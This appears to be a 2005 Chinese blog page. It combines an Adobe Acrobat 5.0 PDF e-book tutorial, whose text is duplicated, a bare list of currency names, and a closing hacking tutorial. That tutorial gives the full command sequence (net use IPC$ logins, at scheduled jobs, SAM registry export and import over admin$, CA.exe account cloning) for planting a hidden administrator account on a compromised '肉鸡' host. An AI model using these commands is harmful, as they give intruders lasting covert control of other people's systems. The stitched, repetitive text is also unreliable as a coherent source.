  总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。  在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。
  制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。
  最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟!
  软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。
  二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧:
  1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。
  首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。
  待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。
  一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。
  3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。
  接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。
  AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。
  不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。
  使用Distiller创建PDF文档有3种方式进行:
  ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。
  ⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。
  ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。
  由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。
  三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧:
  1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。
  在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。
  2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。
  首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。
  3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。
  4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。
  在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。
  5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢!
  下面就以制作带有OnMouse效果的跳转页面按钮为例介绍:
  单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框:
  Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。
  ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。
  发下是六个标签页,点击后可以进行不同的设置。
  Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。
  Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。
  Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。
  Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。
  完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。
  6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。
  (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。
  (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13)
  (3)单击页面的左上角。默认时,出现“批准”印章。
  你可从Acrobat印章库中选择另一个不同的印章。
  (4)选择“编辑”→“属性”。
  (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。
  (6)选择手形工具,在文档窗口内单击以取消选取的印章。
  除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。
  (7)选择“文件”→“保存”以保存该文件。
  7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下:
  单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14):
  如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。
  建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。
  在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。
  我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。
  设置完所有设置以后,点击OK关掉对话框即可。
  总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。  在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。
  制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。
  最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟!
  软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。
  二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧:
  1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。
  首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。
  待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。
  一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。
  3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。
  接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。
  AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。
  不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。
  使用Distiller创建PDF文档有3种方式进行:
  ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。
  ⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。
  ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。
  由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。
  三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧:
  1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。
  在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。
  2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。
  首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。
  3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。
  4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。
  在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。
  5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢!
  下面就以制作带有OnMouse效果的跳转页面按钮为例介绍:
  单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框:
  Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。
  ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。
  发下是六个标签页,点击后可以进行不同的设置。
  Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。
  Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。
  Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。
  Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。
  完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。
  6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。
  (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。
  (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13)
  (3)单击页面的左上角。默认时,出现“批准”印章。
  你可从Acrobat印章库中选择另一个不同的印章。
  (4)选择“编辑”→“属性”。
  (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。
  (6)选择手形工具,在文档窗口内单击以取消选取的印章。
  除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。
  (7)选择“文件”→“保存”以保存该文件。
  7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下:
  单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14):
  如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。
  建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。
  在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。
  我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。
  设置完所有设置以后,点击OK关掉对话框即可。
  总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。

posted @ 2005-07-09 13:24 一天一点爱恋 阅读(1489) | 评论 (0)编辑 收藏
 

一、人民币


二、英镑


三、哈萨克斯坦里格


四、泰国铢


五、欧元


六、缅甸元


七、南非兰特


八、马尔代夫拉菲亚


九、斯里兰卡卢比


十、塔吉克斯坦索莫尼


十一、挪威克郎


十二、越南盾


十三、圭亚那元


十四、哥伦比亚比索


十五、美元(背面)


十六、加拿大元


十七、印度尼西亚卢比(盾)


十八、巴布亚新几内亚基


十九、俄罗斯卢布


二十、印度卢比


二十一、中国台湾元


二十二、中国澳门元


二十四、中国香港元


二十五、德国马克


二十六、美元(正面)


二十七、意大利里拉


二十八、爱尔兰镑


二十九、澳大利亚元


三十、法国法郎


三十一、沙特阿拉伯里亚尔


三十二、西班牙比塞塔


三十三、圣马力诺意大利里拉



三十四、圣多美和普林西比多布拉


三十五、葡萄牙埃斯库多


三十六、罗马尼亚列伊


三十七、瑞士法郎


三十八、蒙古图格里克


三十九、荷兰盾


四十、日本元


四十一、韩国元


四十二、苏里南盾



四十三、土耳其里拉(大家数数有几个零)!!


四十四、新加坡元



四十五.阿尔巴比亚 列克


四十六.阿尔及利亚 第纳尔


四十七.阿富汗 尼


四十八.阿根廷 比索


四十九.阿拉伯联合酋长国 迪拉姆


五十.阿曼 里亚尔

 

posted @ 2005-07-08 14:08 一天一点爱恋 阅读(152) | 评论 (0)编辑 收藏
 
在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开

有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服

务就行。

对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell

,并且有运行at命令的权限就可以。

1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉

鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机,我将它的ip地址改为

13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。)

2、先与肉鸡建立连接,命令为: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator

3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):at \\13.50.97.238 12:51

c:\winnt\system32\net.exe user hacker$ 1234 /add

建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。

4、同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值:at \\13.50.97.238 12:55

c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\

/e 是regedit.exe的参数,在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\这个键的一定要以\结尾。必要的情况下可以用引

号将"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起来。

5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy \\13.50.97.238\admin$\system32\hacker.reg

c:\hacker.reg

修改的方法图形界中已经介绍过了,这里就不作介绍了。

6、再将编辑好的hacker.reg拷回肉鸡上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg

7、查看肉鸡时间:net time \\13.50.97.238 然后用at命令将用户hacker$删除:

at \\13.50.97.238 13:40 net user hacker$ /del

8、验证hacker$是否删除:用

net use \\13.50.97.238 /del 断开与肉鸡的连接。

net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接,不能连接说明已删除。

9、再与肉鸡建立连接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"

再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:

at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg

regedit.exe的参数/s是指安静模式。

10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。

11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。

12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远

程读、写、删的权限。

三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办?

这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,

你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的

功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受



但是这里有两个前提:1、先用net use \\肉鸡ip\ipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后,才能用regedit.exe

regedt32.exe及帐户管理器与远程主机连接。

2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。

四、利用被禁用的帐户建立隐藏的超级用户:

我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:

1.想办法查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户

。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只

能在命令行下用命令:"net user 用户名"一个一个来查看用户是否被禁用。

2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用

户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE \\肉鸡ip administrator 超级用户密码 hacher hacher密码。

3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令



net user hacker /active:no 这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的

用户。

